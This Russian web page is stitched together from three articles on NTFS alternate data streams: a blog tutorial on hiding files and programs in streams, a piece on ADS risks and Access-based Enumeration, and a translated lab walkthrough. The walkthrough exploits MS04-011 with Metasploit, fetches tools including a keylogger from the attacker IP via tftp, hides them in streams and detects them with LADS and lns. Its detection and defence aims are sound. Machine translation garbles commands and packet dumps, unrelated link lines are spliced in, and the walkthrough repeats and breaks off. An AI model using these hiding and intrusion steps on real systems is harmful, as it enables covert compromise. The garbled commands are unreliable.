Альтернативные потоки данных пример использования

Приветствую Вас, уважаемые читатели блога webcodius.ru. Файловая система NTFS обладает интересной возможностью поддержки альтернативных потоков данных (Alternate Data Stream, ADS). Технология подразумевает под собой, то, что каждый файл в файловой системе NTFS может иметь несколько потоков, в которых могут храниться данные. Проводник и большинство других приложений работают только со стандартным потоком и не могут получить данные их альтернативных. Таким образом с помощью технологии ADS можно скрывать данные, которые не удастся обнаружить стандартными способами.

Поддержка альтернативных потоков данных
была добавлена в NTFS
для совместимости с файловой системой HFS
, использующейся на MacOS.

Немного теории

В файловой системе NTFS файлы имеют атрибуты. Один из атрибутов $DATA
является атрибутом данных. В свою очередь атрибут $DATA
может иметь несколько потоков. По умолчанию существует один основной поток $DATA:""

, который называют неименованным. С этим потоком как раз и работает проводник windows. При желании к файлу можно добавить несколько именованных потоков (например $DATA:"potok1"
), которые будут содержать различные не связанные между собой данные.

По умолчанию все данные, записываемые в файл, попадают в основной неименованный поток данных. И при открытии файла мы видим только основной поток. Альтернативные потоки NTFS, которые есть у файла, скрыты от пользователя и штатными средствами их не увидеть. Поэтому удалив файл с потоками, содержащими объемные данные, можно заметить, что места на устройстве хранения данных освободилось значительно больше, чем занимал файл по мнению того же Проводника. Альтернативными потоками часто пользуются вирусы, которые могут прописать себя в именованый поток какого-нибудь безобидного файла.

Для работы с альтернативными потоками можно использовать специальные программы, либо командную строку.

Как создать альтернативный поток NTFS

Следующей командой запишем данные в альтернативный поток. Для этого после названия файла ставите двоеточие (:) и даете название потоку:

Теперь если открыть файл example.txt в любом тестовом редакторе, то будет виден только первый текст «Главный поток»:

альтернативный поток NTFS

Получить информацию содержащуюся в потоке можно с помощью команды more
:

альтернативный поток в командной строке

Увидеть содержимое потока можно не только в командной строке. Например, открыть альтернативный поток в популярном текстовом редакторе Notepad++
можно с помощью следующей команды:

«C:\Program Files (x86)\Notepad++\notepad++.exe» example.txt:test

альтернативный поток в notepead++

Обычный Блокнот может открывать только те потоки, название которых заканчивается на «.txt». Для примера, добавим к нашему файлу поток test.txt:

И откроем его в блокноте:

альтернативный поток в блокноте

В альтернативные потоки, можно помещать не только текстовые данные, а абсолютно любые типы данных. Кроме того к любым типам файлов можно добавлять любые данные — к текстовым файлам добавлять видео, а к изображениям текстовую информацию.

Для примера добавим к нашему файлу поток с изображением img.jpg. Для этого воспользуемся командой type
:

В результате мы получили обычный текстовый файл. Если открыть его обычным способом: двойным щелчком через проводник, то откроется текстовый редактор с содержимым главного потока:

альтернативный поток NTFS

Чтобы открыть содержащееся в альтернативном потоке изображение, например в Paint-е, достаточно воспользоваться командой:

картинка в альтернативном потоке

Что самое интересное альтернативные потоки не увеличивают видимый объем файла. Так если к текстовому файлу размером 1 Кб добавить видео размером 30 Гб, то проводник все равно покажет размер файла 1 Кб.

Также потоки можно добавлять для папок и даже для разделов жесткого диска. Делается все также как и для файлов:

И открываем в блокноте:

Так как наличие альтернативных потоков никак не отображается в проводнике и других файловых менеджерах, самый простой способ их обнаружить это воспользоваться командой dir /R
:

просмотр потоков

Скрытие приложений в альтернативных потоках и их запуск

Поместить исполняемые файлы в альтернативные потоки также легко как и обычные файлы. Для примера возьмем наш файл example.txt и поместим приложение Блокнот (notepead.exe) в поток hideapp.exe:

Чтобы запустить скрытый Блокнот используется следующая команда:

С помощью описанных приемов можно легко спрятать информацию от неподготовленных пользователей. Вообще применение  альтернативных потоков данных ADS
 ограничено только вашей фантазией.

На этом все, до новых встреч!

Один из них может использоваться хакерами для того, чтобы скрыть вредоносный код; второй вы можете применять сами для защиты конфиденциальных файлов

Операционные системы Windows наделены двумя малоизвестными функциями сокрытия данных: потоки данных NTFS (известные также как альтернативные потоки данных) и доступ к списку ресурсов на базе разрешений Access-based Enumeration (ABE). Альтернативные потоки данных дают возможность добавлять к файлу скрытую информацию, такую как сведения о файле. Скорее всего, вам не придется задействовать скрытые потоки данных, однако злоумышленники могут использовать эту технологию против вас, так что следует иметь представление о ней и о том, как она может работать.

Что же касается метода ABE, он может пополнить ваш арсенал. Этот метод позволяет делать невидимыми папки и файлы совместно используемых ресурсов для тех пользователей, которые не имеют разрешения на доступ к ним.

Вот что необходимо знать об этих средствах.

Реки, питающие море данных

Альтернативные потоки данных – это функция файловой системы NTFS. Некогда ими была наделена система Windows NT 3.1 с тем, чтобы дать возможность пользователям NT и Macintosh обмениваться файлами.

Файл NTFS состоит из потоков данных. Это стандартный поток данных $DATA, и, возможно, один или несколько альтернативных потоков данных. Всякий пользователь, обладающий необходимыми разрешениями на работу с файлом, видит существующий поток данных $DATA, может открыть его, а также считывать и записывать данные в этот поток.

Альтернативный поток данных – это дополнительная информация либо файлы, которые пользователь или приложение могут присоединять к файлу NTFS. О существовании альтернативного потока данных знает лишь тот пользователь, который создал его. Обычно пользователи не знают о том, присоединен ли к файлу альтернативный поток данных; дело в том, что ни содержимое этого потока, ни его имя не являются видимыми. К тому же нет возможности увидеть изменение в размере файла.

Существует множество способов использования альтернативных потоков данных. В системе Windows эти потоки применяются для хранения сводных данных документов, созданных приложениями, которые не входят в комплект Microsoft Office, таких как простые текстовые файлы (.txt). Сводные данные, например заголовок, тема и данные об авторе, можно ввести на вкладке Summary диалогового окна Properties соответствующего файла. Эти сводные данные хранятся в альтернативном потоке данных SummaryInformation.

Приложения Windows, такие как Encrypting File System (EFS) и Windows Explorer, используют альтернативные потоки данных для присоединения касающихся тех или иных файлов данных к файлам, которые хранятся на накопителях, отформатированных под систему NTFS. Программа EFS с помощью альтернативных потоков данных присоединяет к зашифрованным файлам сведения о кодировании и декодировании, что обеспечивает возможность децентрализованного шифрования и дешифрации средствами этой программы.

Реализованное в пакете Windows XP Service Pack 2 (SP2) приложение Microsoft Internet Explorer (IE) использует альтернативный поток данных Security. Zone для обеспечения классификации по зонам безопасности файлов, записанных на томе NTFS. В результате IE имеет возможность блокировки предполагающих расширение объема прав пользователя атак, которые могут иметь место в ситуациях, когда пользователь загружает вредоносный код из ненадежной по критериям безопасности зоны Internet и сохраняет этот код на локальном жестком диске. I E относит локально сохраненный контент к зоне безопасности Local Machine, которая предусматривает предоставление большего объема прав, нежели зона безопасности Internet. Пакет XP SP2 всегда проверяет поток данных Security. Zone перед тем как разрешить загруженному коду предпринимать какие-либо действия на локальной системе.

Канал для внедрения вредоносного кода

При активизации червь создает учетную запись с административными полномочиями и рассылает себя по адресам, которые сам же и обнаруживает в адресной книге Microsoft Outlook.

Еще одна опасность кроется в том, что дисковое пространство, выделенное для альтернативных потоков данных, не отображается в данных о размерах (файлов) и о незанятом дисковом пространстве программы Windows Explorer. Хакер может использовать альтернативные потоки данных для заполнения дискового пространства файлового сервера, и администратору останется только ломать голову, пытаясь докопаться до причины проблемы. Кроме того, надо сказать, что утилита командной строки Dir не принимает во внимание альтернативные потоки данных при подсчете данных о размерах (файлов и папок). На сегодня существует лишь одно средство Microsoft, способное учитывать альтернативные потоки данных при подсчете размеров: это утилита Chkdsk.

Добавление нового потока

Любой человек, обладающий правом записи в файл NTFS, может воспользоваться обычными командами операционной системы для присоединения к файлу альтернативного потока данных. К примеру, следующая команда создает альтернативный поток данных mystream, присоединяет mystream к файлу с именем file.txt и сохраняет в потоке mystream фразу “top secret”.

Просмотреть содержимое потока mystream можно с помощью команды 

more < file.txt: mystream

Как уже отмечалось выше, к альтернативным потокам данных можно добавлять исполняемые файлы. Так, существует возможность добавить скрытую копию калькулятора Windows (calc.exe) к файлу file.txt. Для этого нужно просто ввести команду 

type calc.exe > file.txt: calc.exe

Для запуска скрытого калькулятора введите команду

start .file.txt: calc.exe

Вы сами можете убедиться, что альтернативные потоки данных и их содержимое не отображаются в инструментальных средствах Microsoft. Откройте программу Windows Explorer и просмотрите в ней свойства файла file.txt. Фактически размер файла составляет 112 Кбайт (столько места занимает встроенный файл calc.exe) – но программа покажет размер файла равным 0 Кбайт: в потоке данных $DATA нет сведений о встроенном файле, а приложение Windows Explorer не имеет возможности считывать информацию из альтернативного потока данных.

:/>  Окна будущего: прозрачная древесина вместо стекла / Блог компании ITSOFT / Хабр

Понятно, что с альтернативными потоками данных связано немало угроз, особенно в сетях, где работе по выдаче разрешений на обращение к ресурсам NTFS не уделяется должного внимания и не установлен жесткий контроль доступа к серверам Windows. Существует простой механизм защиты, способный препятствовать попыткам хакеров воспользоваться альтернативными потоками данных, – система контроля доступа NTFS. Если злоумышленники не имеют разрешения записывать данные в файл, они не смогут создавать альтернативные потоки данных и присоединять их к этому файлу.

Если у вас возникает ощущение, что хакерам удалось обойти заслон установленных разрешений, воспользуйтесь одним из разработанных к настоящему времени инструментальных средств обнаружения содержимого альтернативных потоков данных. Программы для проверки целостности системы, такие, как Tripwire Enterprise и Tripwire for Servers, позволяют выявлять все изменения в файловой системе NTFS, имевшие место в системе Windows, включая добавление или изменение содержимого потока данных.

Предлагаемая Sysinternal программа Streams – это бесплатно распространяемая утилита командной строки, определяющая имена присоединенных к файлам альтернативных потоков данных. На экране 1 показано, как использовать утилиту Streams для просмотра имени потока данных calc.exe, который мы ранее добавили к файлу file.txt. Эту утилиту можно загрузить по адресу http://www.sysinternals.com/utilities/streams.html
.

Еще один простой способ обнаружения альтернативного потока данных – с помощью Windows Explorer скопировать подозрительный файл на накопитель с файловой системой, отличной от NTFS (скажем, на накопитель FAT). Другие файловые системы не оснащены средствами для работы с альтернативными потоками данных. Поэтому если вы попытаетесь скопировать файл NTFS с присоединенными альтернативными потоками данных для размещения его в другой файловой системе, NTFS выдаст предупреждение, аналогичное показанному на экране 2. Но имейте в виду, что если вы будете копировать этот файл в окне командной строки с помощью команды Copy, Windows скопирует его в отличную от NTFS файловую систему и без предупреждения удалит поток данных.

Сокрытие совместно используемых ресурсов с помощью ABE

ABE – это дополнительная функция уровня совместного использования файлов, которую Microsoft впервые реализовала в пакете Windows Server 2003 SP1. Ее можно использовать в любом общем каталоге Windows вне зависимости от того, в какой файловой системе хранятся совместно используемые данные. A BE позволяет администраторам скрывать хранящиеся на общедоступных ресурсах папки и файлы от тех пользователей, которые не имеют соответствующих разрешений на доступ к ним на уровне NTFS. Иными словами, речь идет об обеспечении безопасности на уровне папок.

В случаях, когда ABE не применяется, пользователи, подключаясь к общему каталогу, видят все размещенные на общем ресурсе файлы и папки, включая те, на чтение которых у них нет разрешений, и те, доступ к которым для них заблокирован. Когда пользователь пытается открыть файл или папку, доступ к которым ему не разрешен, система выдает сообщение об ошибке с пояснением о запрете доступа. Эти сообщения об ошибках могут сбивать пользователей с толку, так что активизация средств ABE позволяет уменьшить нагрузку службы поддержки.

Впрочем, использование ABE имеет и свои минусы. Перед тем как возвратить подключившемуся к общему ресурсу клиенту список содержащихся в папке объектов, сервер должен проверить все списки управления доступом к этим объектам: только после этого он может определить, какие данные следует возвращать. В результате может отмечаться существенное снижение производительности системы, особенно при обращении к общим ресурсам, содержащим множество объектов.

Средства ABE целесообразно применять, к примеру, для настройки общедоступных ресурсов в домашних каталогах пользователей. Вместо того чтобы создавать скрытый общедоступный ресурс для домашнего каталога каждого пользователя, можно создать один общий ресурс, содержащий домашние каталоги всех пользователей в папке корневого домашнего каталога. Пользователи будут подключаться к этому корневому каталогу, и вы сможете с помощью ABE, а также разрешений NTFS контролировать видимость домашних каталогов всех пользователей.

Активизация функции ABE

В этой функции применяется новый флаг уровня общедоступного ресурса SHI1005_FLAGS_ENFORCE_NAMESPACE_ ACCESS; на момент, когда пишутся эти строки, он реализован лишь в пакетах Windows 2003 SP1 и Release 2 (R2). Данный флаг означает, что вы применяете функцию ABE к одной из папок.

Для установки флага можно использовать расширения свойств папки Windows Explorer или средство командной строки abecmd.exe. Microsoft распространяет расширение ABE Explorer и abecmd.exe в установочном пакете ABE, который является дополнительным модулем для платформы Windows Server 2003 SP1. Установочный пакет можно загрузить с узла Microsoft по адресу http://www.microsoft.com/downloads/details.aspx?FamilyId=04A563D 9-78D9-4342-A485-B030AC442084
. Поскольку ABE – это серверное расширение, его можно использовать вне зависимости от того, какая версия Windows установлена на клиенте.

Для активизации функции ABE на всех доступных ресурсах можно использовать параметр /all, а для отключения ABE – параметр /disable.

ABE – простое средство, позволяющее ограничить полномочия пользователей доступом лишь к тем файлам, которые нужны им для работы. Пользователи могут с легкостью находить нужные файлы, поскольку им не приходится пробираться сквозь папки, не имеющие отношения к делу, и они не беспокоят службу поддержки вопросами о том, почему не открываются файлы, разрешений на работу с которыми у них нет.

Чтобы защититься от хакеров, применяющих альтернативные потоки данных, администраторы должны следить за настройками управления доступом к общедоступным ресурсам и использовать одну из описанных мною утилит для выявления скрытых альтернативных потоков данных, а также изменений в системе NTFS.

Для начала мы определимся в том, что из себя представляют альтернативные потоки данных и какую угрозу они могут представлять для вашей организации. Затем мы рассмотрим пример компрометации удаленной машины с помощью эксплойта, предоставляющего доступ к командному интерпретатору и позволяющего скрывать файлы на компьютере жертвы. После этого, мы рассмотрим некоторые свободно распространяемые утилиты, которые могут быть использованы для определения и предотвращения такой активности. Итак, начнем.

что такое альтернативные потоки данных

Альтернативные потоки данных появились в ОС Windows NT с введением файловой системы NTFS. Что же такое альтернативные потоки данных? В сущности, они были созданы для обеспечения совместимости в HFS (устаревшей файловой системой Macintosh). Суть организации HFS состоит в раздвоении файла на файл данных и файл ресурсов. В файле данных находится содержимое документа, а в файле ресурсов – идентификатор типа файла и другие свойства. На сегодняшний день не всем известно о существовании альтернативных потоков данных. Однако какое-то время они использовались некоторыми не лучшими представителями сообщества специалистов безопасности. Было отмечено увеличение использования этих потоков злонамеренными хакерами, желающими спрятать свои файлы сразу после компрометации компьютера. Кроме этого, было замечено, что некоторые вирусы и другие типы

злонамеренного ПО также используют альтернативные потоки данных. Проблема в том, что эти потоки нельзя просмотреть, используя стандартные методы: через командную строку или с помощью Windows Explorer.

Как же обнаружить злонамеренное использование альтернативных потоков данных? Необходимо следить за повышением использования таких потоков. Даже если учесть, что корпоративный объект хорошо защищен, нужно иметь в виду, что не все антивирусные средства в конфигурации по умолчанию проверяют альтернативные потоки данных. В настоящее время большая часть антивирусных продуктов находит эти потоки, но только после дополнительной настройки.

пример использования альтернативных потоков данных

Чтобы действительно осознать опасность, которую представляют альтернативные потоки данных, нужно увидеть практическую демонстрацию их злонамеренного использования. К концу этой статьи читатель, с помощью Metasploit Framework, получит доступ к удаленному компьютеру с правами системы. В действительности, в соответствии с целями статьи, это будет не реальная машина, а тестовая, подготовленная специально для наших исследований.

Однако использование специального тестового компьютера никак не повлияет на результат. Чтобы доказать возможность атаки, не нужно атаковать реальный компьютер через Интернет.

В данном примере мы проникнем в компьютер, используя Metasploit Framework. Эксплойт, который я буду использовать, основан на уязвимости MS04- 011, также известной в Metasploit как “lsass overflow”. Для загрузки набора файлов, который мы хотим спрятать, будем использовать протокол TFTP. Затем эти файлы будут помещены в альтернативные потоки данных существующих файлов, найденных на уязвимом компьютере, что ясно продемонстрирует возможность их злонамеренного использования.

Как только эти действия будут завершены, сканер, загруженный на компьютер, будет удаленно запущен и начнется поиск других уязвимых машин во внутренней сети. H. D. Moore, один из соавторов Metasploit Framework, внедрил в эксплойт ASCII-строку “METASPLOIT”. Можно предположить, что это было сделано для того, чтобы производители IDS смогли создать сигнатуру для его утилиты. Взгляните на пакет, отправленный с атакующего компьютера, показанный ниже, в котором можно заметить эту строку.

 10:38:49.665427 IP (tos 0x0, ttl 64, id 2924, offset 0, flags [DF], 
length: 152) 192.168.1.102.32776 >192.168.1.101.139: P [tcp sum ok]
771689123:771689223(100) ack 3530170662 win 5840 <nop,nop,timestamp
1376570 6356>NBT Packet
0x0000 4500 0098 0b6c 4000 4006 aad8 c0a8 0166 E.l@.@.f
0x0010 c0a8 0165 8008 008b 2dff 0aa3 d26a 2126 .e.-.j!&
0x0020 8018 16d0 d4ea 0000 0101 080a 0015 013a .:
0x0030 0000 18d4 0000 0060 ff53 4d42 7200 0000 .`. SMBr.
0x0040 0018 0120 0000 0000 0000 0000 0000 0000 .
0x0050 0000 c912 0000 18d9 003d 0002 4d45 5441 .=. META
0x0060 5350 4c4f 4954 0002 4c41 4e4d 414e 312e SPLOIT. LANMAN1.
0x0070 3000 024c 4d31 2e32 5830 3032 0002 4e54 0. LM1.2X002. NT
0x0080 204c 414e 4d41 4e20 312e 3000 024e 5420 . LANMAN.1.0. NT.
0x0090 4c4d 2030 2e31 3200 LM.0.12. </nop,nop,timestamp

Обратите внимание, 192.168.1.102 – атакующий компьютер, использующий Metasploit Framework, а 192.168.1.101 – компьютер жертвы, на котором установлена ОС Windows 2000 Professional. Инсталляция W2K свежая, без каких-либо исправлений или пакетов обновлений, используется только для демонстрационных целей. Имейте в виду, что для злонамеренного использования альтернативных потоков данных, в первую очередь, нужно найти машину с уязвимостью, годной к использованию. Не обновленная Windows 2000 в данном случае используется только для демонстрации, в реальной жизни для реализации атаки на обновленную систему потребовался бы другой эксплойт.

Ниже мы можем увидеть, что атака прошла успешно. Наша атакующая машина получила доступ к командной строке на компьютере жертвы. Порт 4321 – порт, используемый по умолчанию для lsass-эксплойта в Metasploit. При желании он может быть изменен.

 10:38:50.071766 IP (tos 0x0, ttl 128, id 85, смещение 0, флаги [DF], 
длина: 82) 192.168.1.101.1030 >192.168.1.102.4321: P [tcp sum ok]
3530253951:3530253993
подтверждение 758421802 выигрыш 17520
0x0000 4500 0052 0055 4000 8006 7635 c0a8 0165 E. R. U@.v5.e
0x0010 c0a8 0166 0406 10e1 d26b 667f 2d34 992a .f.kf.-4.*
0x0020 5018 4470 095f 0000 4d69 6372 6f73 6f66 П. Дп._. Микрософ
0x0030 7420 5769 6e64 6f77 7320 3230 3030 205b т. Windows.2000.[
0x0040 5665 7273 696f 6e20 352e 3030 2e32 3139 Версия.5.00.219
0x0050 355d 5]
10:38:50.071943 IP (tos 0x0, ttl 128, id 86, смещение 0, флаги [DF],
длина: 83) 192.168.1.101.1030 >192.168.1.102.4321: P [tcp sum ok]
3530253993:3530254036
акк 758421802 победа 17520
0x0000 4500 0053 0056 4000 8006 7633 c0a8 0165 E.S.V@.v3.e
0x0010 c0a8 0166 0406 10e1 d26b 66a9 2d34 992a .f.kf.-4.*
0x0020 5018 4470 89be 0000 0d0a 2843 2920 436f П. Дп.(С). Ко
0x0030 7079 7269 6768 7420 3139 3835 2d32 3030 пирайт.1985-200
0x0040 3020 4d69 6372 6f73 6f66 7420 436f 7270 0. Microsoft. Корп
0x0050 2e0d 0a .
10:38:50.072162 IP (tos 0x0, ttl 128, id 88, смещение 0, флаги [DF],
длина: 58) 192.168.1.101.1030 >192.168.1.102.4321: P [tcp sum ok]
3530254038:3530254056
подтверждение 758421802 выигрыш 17520
0x0000 4500 003a 0058 4000 8006 764a c0a8 0165 E.:X@.vJ.e
0x0010 c0a8 0166 0406 10e1 d26b 66d6 2d34 992a .f.kf.-4.*
0x0020 5018 4470 b1b4 0000 433a 5c57 494e 4e54 P. Дп. C:\WINNT
0x0030 5c73 7973 7465 6d33 323e \system32>

Теперь по протоколу TFTP начинается передача файлов от атакующего на скомпрометированный компьютер. Вот команда, которая была передана командному интерпретатору, предоставляющая жертве файл загрузки ipeye.exe.

 tftp -i 192.168.1.102 ПОЛУЧИТЬ ipeye.exe 

Загрузка файлов будет продолжаться до тех пор, пока не будет рассмотрено 4 файла: ipeye.exe, psexec.exe, pslist.exe и klogger.exe. Для краткости я не стал приводить последовательную передачу пакетов. Ниже приводится содержимое каталогов, которые могут быть загружены на компьютер после завершения передачи. Имя этой директории – c:\compaq\.

 05.12.2004 09:30 32 768 ipeye.exe 
05.12.2004 09:32a 32 768 klogger.exe.
05.12.2004 09:31a 143 360 psexec.exe
05.12.2004 09:31a 86 016 pslist.exe
04.12.2004 14:12 SP21263
05.12.2004 09:01a 13 test_file
05.12.2004 09:02a 13 test_file2
05.12.2004 09:02a 12 test_file3
05.12.2004 09:03a 14 test_file4
05.12.2004 09:32a 0 TFTP780

Ниже мы видим, как атакующий файл «tftp780» из этой директории. Это доказывает возможность удаления файлов.

 10:45:56.901024 IP (tos 0x0, ttl 64, id 39855, смещение 0, флаги [DF], 
длина: 55) 192.168.1.102.4321 >192.168.1.101.1030: P [tcp sum ok]
758422044:758422059
подтверждение 3530258111 победа 10720
0x0000 4500 0037 9baf 4000 4006 1af6 c0a8 0166 E.7.@.@.f
0x0010 c0a8 0165 10e1 0406 2d34 9a1c d26b 76bf .e.-4.kv.
0x0020 5018 29e0 a342 0000 6465 6c20 2f46 2074 п.). Б.дел./Ф.т
0x0030 6674 7037 3830 0a ftp780.

Теперь атакующий содержит исполняемый файл ipeye.exe в альтернативном потоке данных, ассоциированный с Существующим файлом test_file. Команда, занимающая эти действия, имеет следующий синтаксис:

 введите ipeye.exe >test_file:ipeye.exe 

Процесс закрытия оставшихся трех файлов, загруженных на скомпрометированный хост, завершен. Они скопированы в альтернативные потоки данных Существующего файла на компьютер-жертву. Точно также вы можете найти файл в каталоге потоков, например C:\.

:/>  Восстановление удаленных файлов касперским

Потом мы запустим psexec.exe на компьютер-жертву, который, в свою очередь, запустил сканер ipeye.exe, поступающий в альтернативном потоке данных c:\Compaq\test_file:ipeye.exe. Заметьте, что я обычно использую psexec.exe, который происходит не в потоке, а в самой директории.
Существует много вариантов запуска программ на Win32-компьютере. Один из вариантов процесса – использование команды «старт», которая является естественной, не оставляющей следствия на машине жертвы. Некоторые хакеры вместо этого для запуска программы могут использовать bat-файл или другие средства. алгоритм работы хакера не всегда может быть известен, и мы должны помнить – не все хакеры получили. Подозрительные действия многих хакеров можно изучить, используя honeynet.
Причина, по которой для этой статьи был выбран psexec.exe, очень проста – набор свободно распространяемых утилит, нефтегазовых Sysinternals, часто используемых хакерами. Поэтому для придания реализма статья я решил использовать именно их. Итак, продвинемся дальше выполним следующую команду:

 psexec.exe c:\compaq\test_file:ipeye.exe 192.168.1.100 -syn -p 139 

Что делать с проблемой злонамеренного использования альтернативных потоков данных? Есть несколько неплохих утилит, написанных талантливыми разработчиками Frank Heyne и Arne Vidstrom – lads и lns соответственно, – которые позволяют обнаруживать альтернативные потоки данных. Ниже показан вывод каждой из этих утилит, запущенных на нашей системе после компрометации.

 
LADS - Freeware version 4.00
(C) Copyright 1998-2004 Frank Heyne Software ( http://www.heysoft.de)
This program lists files with alternate data streams (ADS)
Use LADS on your own risk!
Scanning directory C:\compaq
size ADS in file
---------- ---------------------------------
32768 C:\compaq\test_file:ipeye.exe
32768 C:\compaq\test_file2:klogger.exe
143360 C:\compaq\test_file3:psexec.exe
86016 C:\compaq\test_file4:pslist.exe
294912 bytes in 4 ADS listed
 
lns 1.0 - (c) 2002, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
- http://ntsecurity.nu/toolbox/lns/
c:\compaq\test_file
- Alternative data stream [:ipeye.exe:$DATA]
c:\compaq\test_file2
- Alternative data stream [:klogger.exe:$DATA]
c:\compaq\test_file3
- Alternative data stream [:psexec.exe:$DATA]
c:\compaq\test_file4
- Alternative data stream [:pslist.exe:$DATA]

Как мы видим, вышеупомянутые утилиты успешно обнаружили созданные нами альтернативные потоки данных. Таким образом, используя свободно распространяемые утилиты, вы можете легко найти альтернативные потоки данных на вашем компьютере. Настоятельно рекомендуется производить такой поиск регулярно. В то время, как некоторые производители антивирусов только начинают обращать внимание на альтернативные потоки данных, вы можете свободно использовать утилиту, созданную специально для обнаружения этих потоков.

Альтернативные потоки данных в Windows NTFS являются реальной угрозой, которая, однако, может быть успешно минимизирована путем использования качественных средств защиты. Кроме этого, как было показано, обнаружить и идентифицировать альтернативные потоки данных можно с помощью двух свободно распространяемых утилит, что позволяет вовремя уведомить администратора об угрозе и дать ему время для адекватного реагирования. Имейте в виду, что в нашем случае использовалась тестовая машина с не обновленной версией Windows 2000, поэтому для реализации вышеописанного процесса на ОС с установленными пакетами обновлений нужно было бы использовать другой способ проникновения на компьютер, после успешного осуществления которого можно было бы создавать альтернативные потоки данных.

Дон Паркер, перевод Владимира Куксенка.

Цель этой статьи – описание альтернативных потоков данных в Microsoft Windows, демонстрация того, как их можно создать, скомпрометировав машину, используя Metasploit Framework, и как можно обнаружить с помощью свободно распространяемых утилит.

Для начала мы определимся в том, что из себя представляют альтернативные потоки данных и какую угрозу они могут представлять для вашей организации. Затем мы рассмотрим пример компрометации удаленной машины с помощью эксплойта, предоставляющего доступ к командному интерпретатору и позволяющего скрывать файлы на компьютере жертвы. После этого, мы рассмотрим некоторые свободно распространяемые утилиты, которые могут быть использованы для определения и предотвращения такой активности. Итак, начнем.

что такое альтернативные потоки данных

Альтернативные потоки данных появились в ОС Windows NT с введением файловой системы NTFS. Что же такое альтернативные потоки данных? В сущности, они были созданы для обеспечения совместимости в HFS (устаревшей файловой системой Macintosh). Суть организации HFS состоит в раздвоении файла на файл данных и файл ресурсов. В файле данных находится содержимое документа, а в файле ресурсов – идентификатор типа файла и другие свойства. На сегодняшний день не всем известно о существовании альтернативных потоков данных. Однако какое-то время они использовались некоторыми не лучшими представителями сообщества специалистов безопасности. Было отмечено увеличение использования этих потоков злонамеренными хакерами, желающими спрятать свои файлы сразу после компрометации компьютера. Кроме этого, было замечено, что некоторые вирусы и другие типы

злонамеренного ПО также используют альтернативные потоки данных. Проблема в том, что эти потоки нельзя просмотреть, используя стандартные методы: через командную строку или с помощью Windows Explorer.

Как же обнаружить злонамеренное использование альтернативных потоков данных? Необходимо следить за повышением использования таких потоков. Даже если учесть, что корпоративный объект хорошо защищен, нужно иметь в виду, что не все антивирусные средства в конфигурации по умолчанию проверяют альтернативные потоки данных. В настоящее время большая часть антивирусных продуктов находит эти потоки, но только после дополнительной настройки.

пример использования альтернативных потоков данных

Чтобы действительно осознать опасность, которую представляют альтернативные потоки данных, нужно увидеть практическую демонстрацию их злонамеренного использования. К концу этой статьи читатель, с помощью Metasploit Framework, получит доступ к удаленному компьютеру с правами системы. В действительности, в соответствии с целями статьи, это будет не реальная машина, а тестовая, подготовленная специально для наших исследований.

Однако использование специального тестового компьютера никак не повлияет на результат. Чтобы доказать возможность атаки, не нужно атаковать реальный компьютер через Интернет.

В данном примере мы проникнем в компьютер, используя Metasploit Framework. Эксплойт, который я буду использовать, основан на уязвимости MS04- 011, также известной в Metasploit как “lsass overflow”. Для загрузки набора файлов, который мы хотим спрятать, будем использовать протокол TFTP. Затем эти файлы будут помещены в альтернативные потоки данных существующих файлов, найденных на уязвимом компьютере, что ясно продемонстрирует возможность их злонамеренного использования.

Как только эти действия будут завершены, сканер, загруженный на компьютер, будет удаленно запущен и начнется поиск других уязвимых машин во внутренней сети. H. D. Moore, один из соавторов Metasploit Framework, внедрил в эксплойт ASCII-строку “METASPLOIT”. Можно предположить, что это было сделано для того, чтобы производители IDS смогли создать сигнатуру для его утилиты. Взгляните на пакет, отправленный с атакующего компьютера, показанный ниже, в котором можно заметить эту строку.

 10:38:49.665427 IP (tos 0x0, ttl 64, id 2924, offset 0, flags [DF], 
length: 152) 192.168.1.102.32776 >192.168.1.101.139: P [tcp sum ok]
771689123:771689223(100) ack 3530170662 win 5840 <nop,nop,timestamp
1376570 6356>NBT Packet
0x0000 4500 0098 0b6c 4000 4006 aad8 c0a8 0166 E.l@.@.f
0x0010 c0a8 0165 8008 008b 2dff 0aa3 d26a 2126 .e.-.j!&
0x0020 8018 16d0 d4ea 0000 0101 080a 0015 013a .:
0x0030 0000 18d4 0000 0060 ff53 4d42 7200 0000 .`. SMBr.
0x0040 0018 0120 0000 0000 0000 0000 0000 0000 .
0x0050 0000 c912 0000 18d9 003d 0002 4d45 5441 .=. META
0x0060 5350 4c4f 4954 0002 4c41 4e4d 414e 312e SPLOIT. LANMAN1.
0x0070 3000 024c 4d31 2e32 5830 3032 0002 4e54 0. LM1.2X002. NT
0x0080 204c 414e 4d41 4e20 312e 3000 024e 5420 . LANMAN.1.0. NT.
0x0090 4c4d 2030 2e31 3200 LM.0.12. </nop,nop,timestamp

Обратите внимание, 192.168.1.102 – атакующий компьютер, использующий Metasploit Framework, а 192.168.1.101 – компьютер жертвы, на котором установлена ОС Windows 2000 Professional. Инсталляция W2K свежая, без каких-либо исправлений или пакетов обновлений, используется только для демонстрационных целей. Имейте в виду, что для злонамеренного использования альтернативных потоков данных, в первую очередь, нужно найти машину с уязвимостью, годной к использованию. Не обновленная Windows 2000 в данном случае используется только для демонстрации, в реальной жизни для реализации атаки на обновленную систему потребовался бы другой эксплойт.

Ниже мы можем увидеть, что атака прошла успешно. Наша атакующая машина получила доступ к командной строке на компьютере жертвы. Порт 4321 – порт, используемый по умолчанию для lsass-эксплойта в Metasploit. При желании он может быть изменен.

 10:38:50.071766 IP (tos 0x0, ttl 128, id 85, смещение 0, флаги [DF], 
длина: 82) 192.168.1.101.1030 >192.168.1.102.4321: P [tcp sum ok]
3530253951:3530253993
подтверждение 758421802 выигрыш 17520
0x0000 4500 0052 0055 4000 8006 7635 c0a8 0165 E. R. U@.v5.e
0x0010 c0a8 0166 0406 10e1 d26b 667f 2d34 992a .f.kf.-4.*
0x0020 5018 4470 095f 0000 4d69 6372 6f73 6f66 П. Дп._. Микрософ
0x0030 7420 5769 6e64 6f77 7320 3230 3030 205b т. Windows.2000.[
0x0040 5665 7273 696f 6e20 352e 3030 2e32 3139 Версия.5.00.219
0x0050 355d 5]
10:38:50.071943 IP (tos 0x0, ttl 128, id 86, смещение 0, флаги [DF],
длина: 83) 192.168.1.101.1030 >192.168.1.102.4321: P [tcp sum ok]
3530253993:3530254036
акк 758421802 победа 17520
0x0000 4500 0053 0056 4000 8006 7633 c0a8 0165 E.S.V@.v3.e
0x0010 c0a8 0166 0406 10e1 d26b 66a9 2d34 992a .f.kf.-4.*
0x0020 5018 4470 89be 0000 0d0a 2843 2920 436f П. Дп.(С). Ко
0x0030 7079 7269 6768 7420 3139 3835 2d32 3030 пирайт.1985-200
